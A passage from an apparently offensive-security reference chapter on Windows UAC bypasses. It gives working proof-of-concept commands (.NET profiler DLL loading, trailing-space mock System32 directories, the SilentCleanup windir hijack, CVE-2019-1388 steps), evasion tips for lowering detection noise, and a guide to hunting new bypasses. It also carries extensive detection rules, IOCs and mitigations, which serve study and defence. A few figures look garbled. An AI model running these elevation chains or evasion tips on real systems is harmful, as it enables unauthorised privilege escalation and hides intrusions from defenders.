- *Always notify* policy; WDAC restricting which processes may activate auto-approved classes; alert on `dllhost.exe`/`svchost.exe` hosting unusual class activations followed by task registration ([4], [44]).
### 3.5 DLL hijacking of auto-elevated binaries
**MITRE:** [T1548.002](https://attack.mitre.org/techniques/T1548/002/) + [T1574.001/.002](https://attack.mitre.org/techniques/T1574/001/) · **Since:** Windows 7 era ([UACME #1] onward) · **Affects:** per-binary, table below
The largest historical family. The pattern: find a Microsoft-signed auto-elevate EXE that imports a DLL **not** in KnownDlls by an unqualified name, then drop a same-named DLL where the loader searches first — the application directory, an SxS `DotLocal` redirection, or the WOW64 logger path. The elevated EXE loads the attacker's DLL and executes it at High IL. Because the binary lives in a protected directory, the plant usually needs a privileged write: `IFileOperation` (section 3.3), a mock trusted directory (section 3.6), or a per-user environment trick ([1]).
#### Mechanics
1. Select a target from the auto-elevate inventory and identify its hijackable import (unqualified name, absent from KnownDlls).
2. Build a proxy/payload DLL exporting the expected names (forwarding to the real DLL where stability matters).
3. Plant the DLL via a privileged-copy primitive (section 3.3/3.6) or a user-writable path that outranks System32 for this binary.
4. Launch the auto-elevated EXE; the loader resolves the attacker DLL inside the High-IL process.
Representative targets ([1] unless noted):
| Binary | Hijacked DLL | UACME | Status |
|---|---|---|---|
| `sysprep.exe` | `cryptbase.dll`, `dbgcore.dll`, `unbcl.dll`, `Actionqueue.dll`, `unattend.dll`, `ShCore.dll`, `comctl32.dll` (SxS .local) | #1, #12, #17, #8, #57, #2, #21 | fixed variously 960016232 |
| `cliconfg.exe` | `ntwdblib.dll` | #7/#15 | fixed RS1 — used by Operation Honeybee |
| `migwiz.exe`/`mcx2prov.exe` via `wusa.exe /extract` | `cryptbase`/`cryptsp`/`wdscore` | #6 | fixed TH1 (WUSA `/extract` removed); ShimRat hijacked `cryptbase.dll` in migwiz |
| `consent.exe` itself | `comctl32.dll` DotLocal | #22 | fixed only in Win11 24H2/25H2 |
| `dccw.exe` | `GdiPlus.dll` via SxS + NTFS junction | #36/#37 | SandboxEscaper race, fixed 24H2 |
| `mmc.exe` | `atl.dll` | #77 | UNFIXED |
| `pkgmgr.exe` | `DismCore.dll` | #23 | UNFIXED since Win7 |
| `msdt.exe` (SysWOW64)/`sdiagnhost.exe` | `BluetoothDiagnosticUtil.dll` | #72 | Emeric Nasi, UNFIXED ([17]) |
| `iscsicpl.exe` (SysWOW64) | `iscsiexe.dll` | #76 | UNFIXED |
| `SystemPropertiesAdvanced.exe` | `srrstr.dll` via `%LocalAppData%\Microsoft\WindowsApps` | #54 | egre55, fixed 19H1 ([42]) |
| `taskhostw.exe` | `pcadm.dll` / `PerformanceTraceHandler.dll` | #69 / #80 | fixed 24H2 / fixed 25H2 (Win11 26100→) |
| any elevated 32-bit EXE | `wow64log.dll` (WOW64 logger) | #30 | fixed 24H2/25H2 |
Two loader-agnostic variants widen the surface:
- **.NET profiler variant** [UACME #39, Stefan Kanthak, UNFIXED]: set per-user environment `COR_ENABLE_PROFILING=1`, `COR_PROFILER={GUID}`, `COR_PROFILER_PATH=C:\...\evil.dll` under `HKCU\Environment`, then launch any auto-elevated .NET process (e.g. `mmc.exe`) — the CLR loads the "profiler" DLL elevated ([18], [21]).
- **AppVerifier/IFEO variant** [#9]: an IFEO `VerifierDlls` value causes the attacker DLL to be loaded by elevated processes.
#### Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Medium IL; plus a privileged write primitive unless the load path is user-writable (#39, #54 patterns) |
| OS/build | Per table; several entries remain UNFIXED per UACME v3.7.x (verify in lab) |
| Payload | Architecture-matched proxy DLL; KnownDlls names are not hijackable |
#### Proof of concept
```powershell
# .NET profiler variant — fully per-user, no privileged copy needed ([18], [21])
reg add "HKCU\Environment" /v COR_ENABLE_PROFILING /t REG_SZ /d 1 /f
reg add "HKCU\Environment" /v COR_PROFILER /t REG_SZ /d "{11111111-1111-1111-1111-111111111111}" /f # any GUID; env-driven (illustrative)
reg add "HKCU\Environment" /v COR_PROFILER_PATH /t REG_SZ /d "C:\Users\%USERNAME%\evil.dll" /f
C:\Windows\System32\mmc.exe # auto-elevated .NET host -> CLR loads evil.dll at High IL
# cleanup: reg delete "HKCU\Environment" /v COR_ENABLE_PROFILING /f (and the other two values)
```
#### OpSec & detection
- **Sysmon 7 (image load):** Microsoft-signed elevated binaries loading the watchlist DLL names (section 5) from outside `System32`/KnownDlls — the highest-fidelity signal for this family.
- **Sysmon 13:** `HKCU\Environment` writes of `COR_PROFILER_PATH`/`COR_ENABLE_PROFILING` (Splunk ".NET Profiler UAC bypass" ([34])) and IFEO `VerifierDlls` values.
- **Reduce noise:** forward all exports faithfully so the host behaves normally; prefer still-UNFIXED targets (`mmc.exe`/`atl.dll`, `pkgmgr.exe`/`DismCore.dll`) whose load events have legitimate look-alikes — but expect DLL-plant telemetry regardless.
#### Mitigations
- WDAC/AppLocker DLL rules for elevated Microsoft binaries; `PreferSystem32Images`; audit IFEO keys and `HKCU\Environment`; keep builds current — this family dies by hardening wave ([44]).
### 3.6 Mock trusted directories (path-normalization desync)
**MITRE:** [T1548.002](https://attack.mitre.org/techniques/T1548/002/) + [T1036](https://attack.mitre.org/techniques/T1036/) · **Since:** David Wells / Tenable, 2020, [UACME #52] · **Affects:** Windows 7 7600 → FIXED in Win11 24H2/25H2 via AppInfo changes ([1], [14])
A trust-check desync: AppInfo validates the trusted-directory requirement against the `GetLongPathNameW`-normalized path with `RtlPrefixUnicodeString`, but creates the process with the **original** path. A directory named `C:\Windows \System32` (trailing space) normalizes to `C:\Windows\System32` for the trust check while the loader uses the real, attacker-controlled directory — defeating the "secure location" pillar of auto-elevation ([14]).
#### Mechanics
1. Create the mock directory — impossible from Explorer, trivial with the `\\?\` prefix: `md "\\?\C:\Windows \System32"`.
2. Copy an auto-elevate EXE inside (Wells used `easinvoker.exe`, the Exchange ActiveSync Invoker) plus its hijackable DLL (`netutils.dll`).
3. Launch `C:\Windows \System32\easinvoker.exe`. The trust check sees the space-stripped `C:\Windows\System32\...` and auto-elevates; the process loads the attacker DLL at High IL.
4. In the wild: DBatLoader/ModiLoader dropping Remcos RAT/Formbook (SentinelOne/Zscaler 2023, adding `C:\Users` to Defender exclusions) ([28], [30]); Fickle Stealer with a fake `WmiMgmt.msc` plus MMC `en-US` localization lookup ([29]).
#### Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Medium IL with rights to create `C:\Windows \` (admin user — you have it); an auto-elevate binary + hijackable DLL pair |
| OS/build | Win7 7600 → pre-24H2; FIXED in Win11 24H2/25H2 ([1]) |
| Config | Default UAC policy |
#### Proof of concept
```powershell
# Mock trusted directory chain ([14])
md "\\?\C:\Windows \System32"
copy C:\Windows\System32\easinvoker.exe "C:\Windows \System32\"
copy C:\Users\%USERNAME%\netutils.dll "C:\Windows \System32\" # proxy DLL (illustrative)
& "C:\Windows \System32\easinvoker.exe" # auto-elevates; loads netutils.dll High IL
```
#### OpSec & detection
- **Sysmon 1/11:** any execution or file-create path containing trailing spaces — especially `\Windows \` — is a near-perfect signal (SentinelOne recommendation ([28]); Sigma "TrustedPath UAC Bypass Pattern" ([37])). There is no meaningful noise reduction: the trailing-space path *is* the signature, so treat this family as burned on monitored estates.
#### Mitigations
- Patch to Win11 24H2/25H2+ (AppInfo normalization fixed); alert on `\\?\`-prefixed directory creation under drive roots ([1], [28]).
### 3.7 SilentCleanup and scheduled-task environment abuse
**MITRE:** [T1548.002](https://attack.mitre.org/techniques/T1548/002/) + [T1053.005](https://attack.mitre.org/techniques/T1053/005/) · **Since:** enigma0x3, Jul 22 2016; generalized by James Forshaw, May 2017 · **Affects:** [UACME #34] listed UNFIXED and AlwaysNotify-compatible — but field reports show the SilentCleanup-specific vector mitigated on later Win10 builds; version-dependent (verify in lab) ([1], [9], [13])
The scheduled-task branch of environment abuse. The `SilentCleanup` Disk Cleanup task runs "with highest privileges" and its action contains `%windir%\system32\cleanmgr.exe`. Because scheduled-task actions expand environment variables in the **user** context, a per-user `windir` value under `HKCU\Environment` overrides the machine variable — and the task expands your string at High IL ([9], [13]).
#### Mechanics
1. `reg add hkcu\Environment /v windir /d "cmd.exe /c <payload> & rem "` — the trailing `& rem ` comments out the remainder of the expanded action line.
2. `schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I`.
3. Task Scheduler expands `%windir%\system32\cleanmgr.exe ...` in the user context at High IL → the payload runs elevated; the legitimate `cleanmgr` path is commented away.
4. Restore the `windir` value for cleanup.
Related environment/scheduled-task vectors from the catalog: the DiskCleanup `dismhost` race — cleanmgr copies `dismhost.exe` + DLLs to `%TEMP%\{GUID}` and you race to overwrite `LogProvider.dll` before the High-IL process loads it (#26, Win10 10240 → fixed RS2 15031); volatile per-user `SystemDirectory` overrides (#44, bytecode77, fixed RS3 16299); `clipup.exe` + `IEditionUpgradeManager` `%windir%` (#58, fixed 24H2); the `RequestTrace` scheduled task (#80); and `QuickAssist.exe` `EmbeddedBrowserWebView.dll` + env/UIPI combo (#81, Win10 19041+, AlwaysNotify-compatible, UNFIXED) ([1]).
#### Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Medium IL; `HKCU\Environment` writable (always) |
| OS/build | Version-dependent — test against the exact target build (verify in lab) |
| Config | Task present (default); AlwaysNotify-compatible per UACME (#34) |
#### Proof of concept
```powershell
# SilentCleanup windir hijack ([9], [13])
reg add hkcu\Environment /v windir /d "cmd.exe /c C:\path\payload.exe & rem " /f
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
# cleanup
reg delete hkcu\Environment /v windir /f
```
#### OpSec & detection
- **Sysmon 13:** `HKCU\Environment` writes of `windir` (a value that essentially never legitimately exists per-user) — pair with `COR_PROFILER_PATH` hunting ([34]).
- **Sysmon 1:** `schtasks.exe /Run` for `SilentCleanup` followed by a High-IL `cmd.exe`/payload spawned under Task Scheduler rather than `cleanmgr.exe`. Reduce noise with single-shot execution and immediate value deletion; name the payload like a maintenance binary.
#### Mitigations
- Alert on per-user `windir`; WDAC child-process rules for Task Schedulerspawned interactive tools; note *Always notify* does **not** reliably kill this family ([4]).
### 3.8 Token manipulation and AppInfo protocol abuse
**MITRE:** [T1548.002](https://attack.mitre.org/techniques/T1548/002/) + [T1134.001/.002](https://attack.mitre.org/techniques/T1134/001/) · **Since:** James Forshaw / CIA-derived / hakril / antonioCoco & splintercod3 · **Affects:** per variant below ([1])
Instead of tricking an auto-elevated binary, these variants attack the token model or the AppInfo protocol itself. Four documented variants:
1. **Token modification** [UACME #35, "CIA & James Forshaw"; Win7 → FIXED RS5 17686 by an added `SeTokenCanImpersonate` check in `ntoskrnl`]: duplicate the filtered token and flip it back to full via `NtSetInformationToken`-style manipulation, then spawn the elevated process. AlwaysNotify-compatible while it lived.
2. **SSPI datagram contexts** [#78, antonioCoco/splintercod3; requires a non-blank password; partially patched ~Win10 19041/2024]: coerce a local elevated context through SSPI datagram RPC — the technique class KONNI used to bypass UAC even at "Always Notify" ([20]).
3. **`RAiLaunchAdminProcess` + DebugObject** [#59, James Forshaw; Win7 7600+, UNFIXED]: abuse AppInfo's ALPC launch path (interface `{201ef99a-7fa0-444c-9399-19ba84f12a1a}`, see ([7])) with a debug object to inherit an elevated process ([1]).
4. **APPINFO command-line spoofing** [#38, Clement Rouault "hakril"; Win7+, UNFIXED]: craft a process whose path spoof satisfies AppInfo's whitelist parsing (`mmc.exe` + trailing arguments), so AppInfo itself launches attacker content elevated ([24]).
#### Mechanics
The shared skeleton: obtain or forge what AppInfo/NT would only grant after consent — a full token (variant 1), an elevated logon context (variant 2), or AppInfo's own launch (variants 34) — then start the payload with it. No shell association, no DLL, no file copy; the abuse lives in token and protocol semantics.
#### Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Medium IL protected admin; SSPI variant also needs the account's non-blank password |
| OS/build | #35 fixed RS5 17686; #78 partially patched ~19041/2024; #59/#38 UNFIXED per UACME (verify in lab) |
| Tooling | Custom code; reference implementations in UACME source ([1]) |
#### Proof of concept
```powershell
# (illustrative) Lab validation only: inspect your own elevation state before/after any variant
whoami /groups | findstr /i "S-1-16" # 8192 = Medium (filtered), 12288 = High, 16384 = System
```
For the weaponized implementations, read UACME methods 35, 38, 59, and 78 in the Akagi source ([1]) — reproducing them faithfully is a reverse-engineering exercise, not a copy-paste exercise.
#### OpSec & detection
- **Sysmon 10 (process access):** handle/token duplication into known UAC-bypass binaries (`fodhelper`, `eventvwr`, `computerdefaults`, `sdclt`, `slui`, `mmc`, `wsreset`, `pkgmgr`) — Splunk "Windows Handle Duplication in Known UAC-Bypass Binaries" ([35]).
- **API telemetry:** `NtSetInformationToken`, SSPI datagram RPC patterns, and elevation events with no `consent.exe` on the wire. These variants produce almost no registry/file artifacts — their footprint is API-call-shaped, so they survive registry-centric detections but light up ETW/API monitors.
#### Mitigations
- Patch currency (RS5+ killed #35; 2024 hardening narrowed #78); Credential Guard-adjacent hygiene (no blank passwords); ETW-based API monitoring on admin workstations ([4], [44]).
### 3.9 CVE-2019-1388 (the certificate dialog that got a CVE)
**MITRE:** [T1548.002](https://attack.mitre.org/techniques/T1548/002/) · **Since:** patched Nov 12, 2019; CISA KEV since Apr 2023; CWE-269 · **Affects:** unpatched Win7 SP1 → Win10 1709, Server 2008R2 → 2019 ([25], [27])
The exception that proves the "not a boundary" rule: the one UAC-dialog UI flaw Microsoft serviced. `consent.exe` runs as SYSTEM, and its "Show information about the publisher's certificate" dialog rendered a **live "Issued by" hyperlink** — a UI object in a SYSTEM process that an unelevated user could click ([25]).
#### Mechanics
1. Launch any unsigned application with `runas` to trigger the consent dialog.
2. "Show more details" → "Show information about the publisher's certificate".
3. Click the issuer URL hyperlink → a browser opens in the **elevated (SYSTEM)** context.
4. File → Save As → in the dialog address bar type `C:\Windows\System32\cmd.exe` → SYSTEM shell.
5. Public PoC: nobodyatall648's write-up ([26]).
#### Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Interactive session; an unsigned binary to launch |
| OS/build | Unpatched Win7 SP1 → Win10 1709 / Server 2008R2 → 2019 (patched Nov 12, 2019) |
| Config | Consent dialog enabled (any policy that prompts) |
#### Proof of concept
```text
1. Launch any unsigned app elevated (right-click > Run as administrator) -> consent.exe dialog (illustrative)
2. "Show more details" > "Show information about the publisher's certificate"
3. Click the "Issued by" hyperlink -> browser opens as SYSTEM
4. File > Save As > address bar: C:\Windows\System32\cmd.exe -> SYSTEM shell ([26])
```
#### OpSec & detection
- **Lineage:** `consent.exe` spawning a browser, which spawns `cmd.exe`, is anomalous and trivially detectable — a legacy-estate canary. No noise reduction is possible: the chain is interactive, GUI-bound, and only relevant on unpatched hosts.
#### Mitigations
- Apply the November 2019 patches; inventory unpatched 2008R2/Win7 estates (KEV-listed, actively exploited) ([25], [27]).
---
## 4. Tooling: UACME, Akagi, and validation frameworks
**UACME** (hfiref0x) is the canonical reference implementation and the de-facto method registry for this entire chapter: 82 numbered methods, each implemented as a self-contained `ucm*Method` module in the **Akagi** source, with the auto-approved elevated-interface definitions collected in `comsup.h` ([1]).
How to read the method list ([1]):
- **Numbering is the common language.** `[UACME #33]` means "fodhelper `ms-settings` hijack" everywhere — in this chapter, in detection content, in threat reports. When a report says "CMSTPLUA," practitioners translate to #41.
- **Each entry records the vector, the author/source, the affected builds, and the "fixed in" build when one exists.** Treat "fixed in" as the first build where Microsoft or silent hardening broke the method; methods without it are listed unfixed.
- **Families cluster by number:** #1#30 are dominated by DLL hijacks armed via `IFileOperation`; #33#62 by registry/COM-interface vectors; #63+ by later elevated-interface discoveries (#82, `UICleanmgrAdminHelper`/`UICleanmgrHelper` via `SystemSettingsAdminFlows.exe`, Win10 19041+, is the newest as of v3.7.0).
- **Akagi runs a method by number** for lab validation (e.g. `Akagi64.exe 33`), which makes UACME the fastest way to test "does method N survive on build X?" — the exact question that matters pre-engagement.
> **Warning:** "Unfixed" is **version-dependent**. UACME marks items unfixed as of v3.7.x (2026), but independent testers report some listed-unfixed methods (fodhelper, SilentCleanup, mock dirs pre-24H2) behaving inconsistently across 22H225H2 due to silent hardening and AV/EDR interference. Treat "unfixed" as "UACME-listed unfixed," not a guarantee on a specific patched build — always validate with Akagi on a VM snapshotted to the target's exact build before relying on a method.
**Validation and adversary-emulation tooling:**
| Tool | Role |
|---|---|
| UACME / Akagi ([1]) | Reference implementations of all 82 methods; red-team ranges and build-compat testing |
| Atomic Red Team T1548.002 ([31]) | Reproducible per-technique tests: fodhelper, eventvwr, sdclt, WSReset (#23), SilentCleanup, CMSTPLUA, .NET profiler — built for detection validation |
| Metasploit `bypassuac_eventvwr` ([38]) | Legacy eventvwr module (M. Nelson, M. Graeber, OJ Reeves) — useful for legacy estates |
| Sigma rules ([37]) | Off-the-shelf `registry_set` / `proc_creation` coverage per family, for baseline detections |
---
## 5. Detection and hunting
**Telemetry sources** (MITRE data sources: Process Creation, Windows Registry Key Creation/Modification, Module Load, Process Metadata — integrity level, OS API Execution such as `CoGetObject`/`NtSetInformationToken`):
| Source | What it catches here |
|---|---|
| Sysmon EID 1 (process create, `IntegrityLevel` + `ParentImage`) | High-IL children of auto-elevate binaries; silent elevation lineage |
| Sysmon EID 7 (image load) | Watchlist DLLs loaded from non-System32 paths by elevated MS-signed binaries |
| Sysmon EID 10 (process access) | Handle/token duplication into known bypass binaries ([35]) |
| Sysmon EID 11 (file create) | System32 writes by Medium-IL processes (IFileOperation); mock dirs with trailing spaces; `%TEMP%\{GUID}\dismhost` staging |
| Sysmon EID 12/13 (registry key/value) | Every IOC key below ([32], [33], [34], [37]) |
| Security 4688 (+command line), 4657/4663; ETW `Microsoft-Windows-Kernel-Process` | Native-audit equivalents where Sysmon is absent; token/integrity transitions |
**Registry IOC table** (writes = high-fidelity signal):
| Key / value | Technique |
|---|---|
| `HKCU\Software\Classes\ms-settings\Shell\Open\command` (`(Default)`, `DelegateExecute`) | fodhelper / computerdefaults / slui-family |
| `HKCU\Software\Classes\mscfile\shell\open\command` | eventvwr |
| `HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe` | sdclt (legacy) |
| `HKCU\Software\Classes\Folder\shell\open\command` | sdclt v2/v3 |
| `HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\Open\command` | WSReset |
| `HKCU\Software\Classes\CLSID\{...}` (`InprocServer32`/handler redirects) | COM handler hijack |
| `HKCU\Environment` (`windir`, `COR_ENABLE_PROFILING`, `COR_PROFILER`, `COR_PROFILER_PATH`) | SilentCleanup / .NET profiler |
| `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System` (`EnableLUA`, `ConsentPromptBehaviorAdmin`→0, `PromptOnSecureDesktop`→0) | UAC weakening (needs existing admin — post-exploitation signal) |
| `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<exe>` (`VerifierDlls`) | AppVerifier/IFEO variant |
| `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList` | (reference/defense) tampering with the silent-elevation allow-list |
**CLSID/IID watchlist:** `{3E5FC7F9-9A51-4367-9063-A120244FBEC7}` (CMSTPLUA); IID `{6EDD6D74-C007-4E75-B76A-E5740995E24C}` (ICMLuaUtil); `{3AD05575-8857-4850-9277-11B85BDB8E09}` (FileOperation); `{A6BFEA43-501F-456F-A845-983D3AD7B8F0}` (ElevatedFactoryServer); IID `{804bd226-af47-4d71-b492-443a57610b08}` (IElevatedFactoryServer); `{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}` (TaskScheduler); and the string `Elevation:Administrator!new:` — often stored reversed or XORed in malware.
**Auto-elevate binaries commonly abused:** `fodhelper`, `computerdefaults`, `eventvwr`, `sdclt`, `wsreset`, `slui`, `changepk`, `mmc`, `osk`, `msconfig`, `colorcpl`/`dccw`, `sysprep`, `cliconfg`, `migwiz`, `mcx2prov`, `winsat`, `pkgmgr`, `msdt`, `sdiagnhost`, `iscsicpl`, `easinvoker`, `credwiz`, `inetmgr`, `BitlockerWizardElev`, `TpmInit`, `clipup`, `taskhostw`, `QuickAssist`, `SystemSettingsAdminFlows`, `CompMgmtLauncher` (legacy), `wusa`, `consent`, `rstrui`, `recdisc`, `ieinstal`.
**DLL names to watch outside System32/KnownDlls:** `cryptbase`, `cryptsp`, `wdscore`, `ntwdblib`, `dbgcore`, `unbcl`, `actionqueue`, `unattend`, `shcore`, `comctl32` (DotLocal), `elsext`, `wbemcomn`, `atl`, `mscoree`, `slc`, `netutils`, `dismcore`, `gdiplus`, `powprof`, `devobj`, `wow64log`, `duser`, `osksupport`, `pcadm`, `PerformanceTraceHandler`, `EmbeddedBrowserWebView`, `BluetoothDiagnosticUtil`, `iscsiexe`, `srrstr`, `LogProvider.dll` (in `%TEMP%\{guid}`).
**High-fidelity behavioral patterns:**
1. High-integrity child process (`cmd`/`powershell`/payload in user paths) whose parent is a known auto-elevate binary (`fodhelper`, `computerdefaults`, `eventvwr``mmc`, `sdclt`, `wsreset`, ...) — near-zero FP ([32], [36]).
2. Registry write to a watched association key (or emptied `DelegateExecute`) followed within seconds by the matching System32 binary — the classic automated chain ([33], [37]).
3. `HKCU\Environment` writes of `windir` / `COR_PROFILER_PATH` plus `schtasks /Run /TN ...SilentCleanup` ([34]).
4. Process execution whose path contains trailing spaces (`C:\Windows \System32\...`) — mock trusted directory ([28], [37]).
5. Image loads of the watchlist DLLs from non-System32 locations by elevated Microsoft-signed processes.
6. Elevation events with **no consent.exe on the wire** (silent elevation), plus command lines/strings containing `Elevation:Administrator!new:` (hunt reversed/XORed forms too).
---
## 6. Mitigations and hardening
Ordered by impact ([1], [4], [44]):
1. **Standard-user accounts — the #1 control, per UACME itself.** No admin token, no bypass possible. Pair with Privileged Access Management (M1026); this single decision retires the entire chapter.
2. **UAC slider to *Always notify*** (`ConsentPromptBehaviorAdmin=2`, `PromptOnSecureDesktop=1`): kills most auto-elevate bypasses — but **not all**: SilentCleanup env (#34), token modification (#35), the DiskCleanup race (#26), SSPI (#78), PCA (#69), RequestTrace (#80), and QuickAssist (#81) are AlwaysNotify-compatible per UACME. Defense-in-depth remains mandatory.
3. **Lock the policy knobs:** `ConsentPromptBehaviorUser=0` (auto-deny for standard users); keep `EnableLUA=1`; set `FilterAdministratorToken=1` for the built-in Administrator; keep `PromptOnSecureDesktop=1`.
4. **Application control:** WDAC/AppLocker rules blocking child processes of auto-elevate binaries and DLL loads from user-writable paths; the `PreferSystem32Images` mitigation; attack-surface monitoring of every §5 registry key.
5. **Patch currency:** many methods died via OS hardening — RS1RS5 shell updates, the 19H1 COM-handler fix, and Win11 24H2/25H2 (which killed mock dirs, the consent DotLocal, `wow64log`, `dccw`, .NET deserialization, `wsreset`, `IEditionUpgradeManager`, and taskhostw PCA). Current builds materially shrink the surface.
6. **Assume breach:** detect (§5) rather than prevent; monitor `LocalAccountTokenFilterPolicy`/`EnableLUA` tampering — both require prior admin and are therefore post-exploitation signals ([4], [44]).
---
## Research Lab: Finding New UAC Bypasses
### Hunting hypothesis
Three classes of new bugs remain in this category:
1. **Undocumented methods on already-approved COM classes.** `COMAutoApprovalList` contains more classes than have been publicly weaponized, and each is one vtable away from a `ShellExec`-grade primitive — the newest UACME method (#82, `UICleanmgrAdminHelper`/`UICleanmgrHelper` via `SystemSettingsAdminFlows.exe`, v3.7.0) was found exactly this way ([1], [39]).
2. **New auto-elevated binaries with poisonable inputs.** Every Windows feature update ships new Microsoft-signed System32 EXEs; each new `autoElevate` manifest, each new `HKCU\Software\Classes` read, and each new unqualified non-KnownDlls import is a candidate (fodhelper itself was a Windows 10 addition ([12])).
3. **New expansion/normalization desyncs.** SilentCleanup (environment expansion ([13])) and mock directories (path normalization ([14])) are one bug class: the trust checker and the executor disagree about a string. Scheduled-task actions, SxS redirection, WOW64 paths, and package-relative paths remain under-audited for the same desync.
### Enumeration
Build the target list before testing anything.
```powershell
# 1. COM classes approved for silent elevation (the master list)
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList"
# 2. Classes registered for elevation via Elevation\Enabled = 1 (illustrative sketch)
Get-ChildItem "HKLM:\SOFTWARE\Classes\CLSID" -ErrorAction SilentlyContinue | Where-Object {
(Get-ItemProperty "$($_.PSPath)\Elevation" -ErrorAction SilentlyContinue).Enabled -eq 1
} | Select-Object -ExpandProperty PSChildName
# 3. Auto-elevate manifests in System32 (manifest XML is embedded in the binary) (illustrative)
findstr /m /c:"autoElevate" C:\Windows\System32\*.exe
# 4. High-privilege scheduled tasks whose action expands an environment variable (SilentCleanup pattern)
schtasks /query /tn "\Microsoft\Windows\DiskCleanup\SilentCleanup" /xml & schtasks /query /xml | findstr /i "HighestAvailable"
```
In OleViewDotNet (run as administrator): cross-reference the `COMAutoApprovalList` CLSIDs against their registrations, dump each class's interfaces and methods from its type library or proxy stub, and rank methods by argument types — `BSTR` command/path parameters first. The `ICMLuaUtil` pattern (placeholder vtable slots, then `ShellExec`) is what you are hunting ([22]).
### Triage heuristics
A candidate is promising if it checks most of these boxes:
- [ ] Auto-approved: on `COMAutoApprovalList`, or `autoElevate="true"` + Microsoft-signed + secure directory (the §1 conditions).
- [ ] Reachable from Medium IL at default policy — activation/launch produces no `consent.exe` in a default-slider VM.
- [ ] Exposes an attacker-controlled surface: `BSTR` command/path method parameters, unqualified non-KnownDlls imports, `HKCU\Software\Classes` reads, or `%var%` inside a highest-privileges task action.
- [ ] Fileless or registry-only preferred — no writes into protected paths means a longer shelf life.
- [ ] Not already among UACME's 82 methods ([1]) — check first; novelty is the contribution.
- [ ] Survives *Always notify* — the premium property; per UACME only #26, #34, #35, #69, #78, #80, #81 have it.
### Analysis workflow
**Static checklist:** signature and manifest (`autoElevate`, `uiAccess`, `requestedExecutionLevel`) → import table versus KnownDlls → strings for `HKCU\Software\Classes`, `DelegateExecute`, `Elevation:Administrator!new:`, `%windir%`-style expansions → vtable/type-library dump for approved COM classes → `AppID` launch/access security descriptors for surrogate-hosted classes (the `ElevatedFactoryServer` lesson ([19])).
**Dynamic:** snapshot a default-policy VM with Sysmon; run ProcMon with filters:
- `Process Name is <target.exe>` + `Operation is RegOpenKey` + `Path contains HKCU\Software\Classes` or `HKCU\Environment` — association/env reads by an about-to-be-elevated binary.
- `Operation is CreateFile` / image loads + `Path ends with <watchlist DLL>` + `Result is NAME NOT FOUND` in System32 — search-order hijack candidates.
- Then loop candidate CLSIDs through the elevation moniker from a Medium-IL harness, logging HRESULT, whether `consent.exe` appeared, and whether a High-IL child or side effect resulted *(illustrative sketch)*:
```csharp
// (illustrative) elevated-class probing harness — run at Medium IL on a default-policy VM
foreach (var clsid in candidateClsids)
CoGetObject($"Elevation:Administrator!new:{clsid}", bindOpts3 /* CLSCTX_LOCAL_SERVER */, ...);
// log per candidate: HRESULT | consent.exe observed? | new High-IL process? (Sysmon 1 IntegrityLevel)
```
### Fuzzing/mutation ideas
Typed mutation beats blind bit-flipping; the interesting space is the *trust inputs*:
- **Verb-shape mutation** across every ProgID/protocol an elevated binary resolves: `(Default)` versus `DelegateExecute` permutations, ProgID versus protocol versus AppID keys (the WSReset `AppX82a6...` pattern), `HKCU` versus merged-view edge cases.
- **Typed argument mutation on elevated interfaces:** for `ShellExec`-shaped methods — NULL/empty `lpDirectory`, UNC `lpFile`, very long strings; for copy-shaped methods — junction/symlink sources, trailing-space/dot destinations (mock-dir DNA), SxS `DotLocal` payloads.
- **Environment mutation:** every `%var%` inside any highest-privileges task action is a SilentCleanup candidate; mutate `HKCU\Environment` systematically (`windir`, `SystemDirectory` (#44), `COR_ENABLE_PROFILING`/`COR_PROFILER`/`COR_PROFILER_PATH`).
- **Path-normalization desyncs:** trailing space/dot, `\\?\` prefixes, NTFS junctions (the `dccw.exe` #36/#37 pattern) — anywhere a checker and a creator might normalize differently.
- **Vtable probing of approved classes:** published interfaces may be incomplete (`CallCustomActionDll` was found by reversing ([22])); call vtable slots with benign arguments on a snapshot VM and watch for elevated side effects.
### From lead to primitive
1. **Prove silent elevation:** at Medium IL on a default-policy VM, success means the side effect happens *and* `consent.exe` never starts (Sysmon 1).
2. **Prove the integrity jump:** the child/side effect runs at High (`S-1-16-12288`) or System (`S-1-16-16384`) — capture with `whoami /groups` or Process Explorer.
3. **Minimize the trigger:** fewest artifacts; registry-only beats file-backed, file-backed beats race-dependent.
4. **Build the matrix:** builds × slider positions × AV/EDR; record the exact fixed-in build if one exists — that is citable data in UACME README format.
5. **Confirm novelty** against UACME ([1]) and Atomic Red Team ([31]); the publication bar is a new CLSID/key/binary + a reproducible chain + a telemetry map (lineage, events, IOCs).
6. **Ship the detection with the bypass** — a Sigma rule ([37]) and Sysmon config alongside the write-up is what separates research from malware documentation.
### Further reading
- swapcontext, *UAC bypasses from COMAutoApprovalList* — enumerating and weaponizing the approved-class list ([39])
- James Forshaw, *Calling Local Windows RPC Servers* — AppInfo's RPC interface and `RAiLaunchAdminProcess` ([7])
- hfiref0x, *UACME* — the 82-method corpus; read `comsup.h` and the `ucm*Method` modules ([1])
- David Wells / Tenable, *UAC Bypass by Mocking Trusted Directories* — the normalization-desync blueprint ([14])
- zcgonvh, *Advanced Windows Task Scheduler Playbook Part 2* — from COM to UAC bypass to SYSTEM ([19])
- James Forshaw, *Reading Your Way Around UAC* — deep UAC internals series ([40])
---
## References
[1] UACME — Defeating Windows User Account Control — hfiref0x (2026, v3.7.x) — https://github.com/hfiref0x/UACME
[2] MITRE ATT&CK T1548.002 — Bypass User Account Control — MITRE — https://attack.mitre.org/techniques/T1548/002/
[3] How User Account Control works — Microsoft Learn — https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/how-it-works
